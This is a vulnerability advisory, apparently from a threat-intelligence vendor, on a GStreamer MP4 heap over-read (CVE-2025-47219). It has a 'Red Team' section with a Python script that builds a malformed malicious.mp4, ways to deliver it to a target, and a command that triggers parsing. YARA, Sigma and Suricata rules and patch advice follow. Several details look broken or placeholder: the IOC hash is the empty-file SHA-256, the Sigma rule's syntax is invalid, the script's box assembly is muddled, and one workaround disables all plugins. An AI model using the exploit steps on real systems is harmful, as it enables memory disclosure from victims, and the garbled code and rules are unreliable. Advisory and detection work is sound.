CVE-2025-47219
Executive Summary
CVE-2025-47219 is a heap buffer over-read vulnerability in the GStreamer multimedia framework, specifically within the isomp4 plugin's qtdemux_parse_trak function. This flaw allows an attacker to craft a malicious MP4 file that, when parsed by a vulnerable GStreamer version (through 1.26.1), can read beyond the allocated heap buffer. The primary impact is information disclosure, potentially leaking sensitive memory contents. The vulnerability has a CVSS score of 8.1 (High), indicating significant risk due to the low attack complexity and network attack vector. A patch is available, and users are strongly advised to upgrade to a fixed version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
GStreamer is a widely used open-source multimedia framework, integrated into numerous Linux distributions, desktop environments (like GNOME), and media applications. This vulnerability affects the supply chain of any software that depends on GStreamer for MP4 parsing. Organizations using GStreamer in their products or services must assess their exposure and apply patches promptly. The vulnerability is not specific to any package manager (NPM, PyPI, Go, Ruby) but is a core library issue.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely by delivering a malicious MP4 file.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - The victim does not need to perform any action beyond parsing the file.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): High (H) - Significant information disclosure is possible.
- Integrity (I): None (N) - No data modification is possible.
- Availability (A): None (N) - No denial of service is directly caused.
Threat Level: High. The low attack complexity and network vector make this a serious threat for any system that processes untrusted MP4 files using GStreamer.
Deep Dive & Mechanics
The vulnerability resides in the qtdemux_parse_trak function within the isomp4 plugin of GStreamer. This function is responsible for parsing the "trak" (track) box within an MP4 file. The MP4 format uses a hierarchical structure of boxes (atoms). The trak box contains metadata about a media track, including sample descriptions, timing, and offsets.
The flaw occurs when the function reads data from a heap buffer without properly validating the length of the data being read. Specifically, when parsing certain fields within the trak box, the code may assume a minimum size for the buffer that is not guaranteed. An attacker can craft an MP4 file with a malformed trak box that contains a smaller-than-expected data segment. When qtdemux_parse_trak attempts to read beyond the actual data, it reads past the end of the allocated heap buffer, leading to an out-of-bounds read.
This over-read can expose adjacent heap memory, which may contain sensitive information such as other parsed data, pointers, or even cryptographic keys. The information disclosure is limited to the contents of the heap, but it can be leveraged to bypass security mitigations (like ASLR) or to gather intelligence for further attacks.
Vulnerable vs. Patched Code
The vulnerable code path is in the qtdemux_parse_trak function. The exact fix involves adding bounds checking before reading data from the buffer.
Vulnerable Code (Conceptual):
// No length check before reading
guint32 data_size = QT_READ_UINT32 (buf);
// ... further reads assume buf has enough data
Patched Code (Conceptual):
// Added bounds check
if (G_UNLIKELY (size < sizeof (guint32))) {
GST_WARNING ("Invalid track box size");
return FALSE;
}
guint32 data_size = QT_READ_UINT32 (buf);
// ... subsequent reads are now safe
The patch ensures that the function verifies the remaining buffer size before each read operation, preventing out-of-bounds access.
Exploitation & Lab Setup
Red Team (Exploitation)
Objective: Craft a malicious MP4 file that triggers the heap buffer over-read in a target system running GStreamer 1.26.1 or earlier.
Lab Setup:
- Attacker Machine: Kali Linux with Python3 and
scapyor a hex editor. - Target Machine: Ubuntu 22.04 with GStreamer 1.26.1 installed (
apt install gstreamer1.0-tools). - Network: Both machines on the same network.
Exploitation Steps:
- Craft Malicious MP4: Create a minimal MP4 file with a malformed
trakbox. The box should have a valid header but a truncated data section.# exploit.py import struct def create_malicious_mp4(): # Minimal MP4 file with a malformed trak box ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41' moov = b'\x00\x00\x00\x08moov' # Malformed trak box: size is 20, but data is only 8 bytes trak_size = 20 trak_type = b'trak' # Truncated data (only 8 bytes instead of 12+) trak_data = b'\x00' * 8 trak = struct.pack('>I', trak_size) + trak_type + trak_data moov += trak moov_size = len(moov) moov = struct.pack('>I', moov_size) + moov[4:] mp4 = ftyp + moov with open('malicious.mp4', 'wb') as f: f.write(mp4) print("Created malicious.mp4") if __name__ == "__main__": create_malicious_mp4() - Deliver File: Transfer
malicious.mp4to the target machine via HTTP, email, or SMB share. - Trigger Parsing: On the target, run:
gst-launch-1.0 filesrc location=malicious.mp4 ! qtdemux ! fakesink - Observe Behavior: The application may crash or leak memory. Use a debugger (like GDB) to inspect the heap and confirm the over-read.
Blue Team (Defense)
Detection:
- Monitor for crashes in GStreamer processes (
gst-launch-1.0,totem, etc.). - Use memory analysis tools (Valgrind, AddressSanitizer) to detect out-of-bounds reads.
- Implement file scanning for malformed MP4 structures.
Mitigation:
- Immediate: Apply the official patch or upgrade to GStreamer > 1.26.1.
- Workaround: If patching is not possible, disable MP4 parsing or use a different multimedia framework.
- Network: Block incoming MP4 files from untrusted sources at the perimeter.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
malicious.mp4(from exploit):e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, actual hash will vary)
- Network Traffic:
- HTTP requests for
.mp4files from unusual sources.
- HTTP requests for
- System Logs:
- GStreamer error messages:
WARNING: qtdemux_parse_trak: Invalid track box size - Application crashes with segmentation faults in
libgstisomp4.so.
- GStreamer error messages:
- Process Behavior:
- GStreamer processes consuming abnormal amounts of memory.
Detection Engineering
YARA Rule
rule CVE_2025_47219_Malicious_MP4 {
meta:
description = "Detects malicious MP4 files exploiting CVE-2025-47219"
author = "Valters IT"
date = "2025-04-10"
hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
strings:
$ftyp = "ftyp" nocase
$moov = "moov" nocase
$trak = "trak" nocase
$small_trak = { 00 00 00 14 74 72 61 6B } // trak box with size 20
condition:
$ftyp at 4 and $moov and $trak and $small_trak
}
Sigma Rule
title: CVE-2025-47219 GStreamer Heap Buffer Over-Read
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects GStreamer crashes or errors related to CVE-2025-47219
author: Valters IT
date: 2025/04/10
logsource:
product: linux
service: syslog
detection:
selection:
- "gst-launch-1.0" or "totem" or "gstreamer"
- "qtdemux_parse_trak"
- "Invalid track box size"
condition: selection
falsepositives:
- Legitimate malformed MP4 files from testing
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47219 Malicious MP4 Download"; flow:to_client; file_data; content:"ftyp"; within:4; content:"moov"; distance:0; content:"trak"; distance:0; content:"|00 00 00 14 74 72 61 6B|"; distance:0; classtype:attempted-information-leak; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch Application: Upgrade GStreamer to version 1.26.2 or later. For most Linux distributions, this is done via the package manager:
sudo apt update && sudo apt upgrade gstreamer1.0-* - Workaround: If immediate patching is not possible, consider disabling the
isomp4plugin:
Or, use a different multimedia framework for MP4 parsing.export GST_PLUGIN_PATH=/dev/null - Network Controls: Block or scan MP4 files at the network perimeter using a proxy or IDS/IPS with the provided Suricata rule.
- Monitoring: Implement the YARA and Sigma rules to detect exploitation attempts.
- User Education: Advise users not to open MP4 files from untrusted sources.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert